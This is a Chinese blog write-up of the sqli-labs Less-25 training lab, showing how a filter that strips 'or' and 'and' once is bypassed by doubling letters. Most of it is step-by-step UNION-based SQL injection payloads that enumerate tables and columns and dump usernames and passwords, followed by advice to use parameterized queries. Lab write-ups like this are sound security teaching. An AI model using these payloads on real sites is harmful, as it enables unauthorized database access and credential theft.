当前位置: 首页 > news >正文

sqli-labs:Less-25关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:id

php输出语句的部分代码:

if($row)
{echo '<font color= "#0000ff">';	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else 
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  
}

本关卡实现了对orand字符的过滤,并使用空格进行了替换(不区分大小写),因此不能直接使用这两个。但既然对其进行空格替换,而且只进行1次替换,那么完全可以将or改写为oorr,将and改写为aandnd,接下来正常注入即可。

function blacklist($id)
{$id= preg_replace('/or/i',"", $id);		//strip out OR (non case sensitive)$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)return $id;
}

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-25/,从?id=开始,只需要将下面的sql语句粘贴即可。

2.1. 判断字段数⚡

注意order中的or,需要修改为oorrder

1' oorrder by 4 --+

在这里插入图片描述

回显信息,同时说明字段数为3。


2.2. 判断回显位⚡

-1' union select 1,2,3 --+

在这里插入图片描述


2.3. 获取基本信息⚡

-1' union select 1,database(),user() --+

在这里插入图片描述


2.4. 获取表名⚡

注意information_schema中的or,需要修改为infoorrmation_schema

-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security' --+

在这里插入图片描述


2.5. 获取字段⚡

注意information_schema中的or,需要修改为infoorrmation_schema,将and修改为aandnd

-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' aandnd table_name = 'users' --+

在这里插入图片描述


2.6. 获取数据⚡

注意password中的or,需要修改为passwoorrd

-1' union select 1,group_concat(username),group_concat(passwoorrd) from users --+

在这里插入图片描述


2.7. 参数汇总表⭐

参数作用示例
'闭合符号id='
--+闭合符号--+
order by判断字段数order by 4
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

本关卡代码虽然尝试通过过滤orand来防止SQL注入,但由于仅采用简单的字符串替换且未递归处理,攻击者仍可通过双写(如oorraandnd)、大小写混合、逻辑运算符替代或URL编码的方式等方式轻松绕过。

其根本问题在于依赖黑名单机制而非参数化查询,导致注入风险依然存在。有效的防御应当采用预处理语句配合严格的输入验证,而非仅对关键词进行表面过滤。

相似关卡,见文章"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/312733.html

相关文章:

  • c++ --- priority_queue的使用以及简单实现
  • Navicat连接远程服务器上的mysql
  • Java Stream API 编程实战
  • Java学习第一百部分——Kafka
  • Python批处理深度解析:构建高效大规模数据处理系统
  • kubectl基础操作实战-k8s集群安装
  • IO流-字节流-FileInputStream
  • 【设计模式】0.UML类图
  • Python特性工厂函数详解:优雅管理属性验证
  • 【技术干货】Matplotlib深度集成PyQt5实战:动态_静态图表一站式解决方案
  • 嵌入式学习-(李宏毅)机器学习(5)-day32
  • 集合篇-根据字符串出现频率排序
  • 每日面试题20:spring和spring boot的区别
  • 【MCAL】AUTOSAR架构下SPI数据同步收发具体实现
  • 《深入浅出RabbitMQ:从零基础到面试通关》
  • go 中的 fmt 占位符
  • LUA脚本语言
  • 【svg】
  • 人工智能之数学基础:几何型(连续型)随机事件概率
  • 2、docker容器命令 | 信息查看
  • Redis 7中的List类型指南
  • 14.Redis 哨兵 Sentinel
  • 10.Redis 数据类型
  • Back to the Features中,直观物理的评价指标是什么,计算方式是什么
  • 5 进入 CD 的世界
  • Thread 类的基本用法
  • 蛇形卷积介绍
  • Spring Cloud微服务中的内存泄漏问题定位与解决方案
  • 【Unity】背包系统 + 物品管理窗口 (上)
  • 7.13.B+树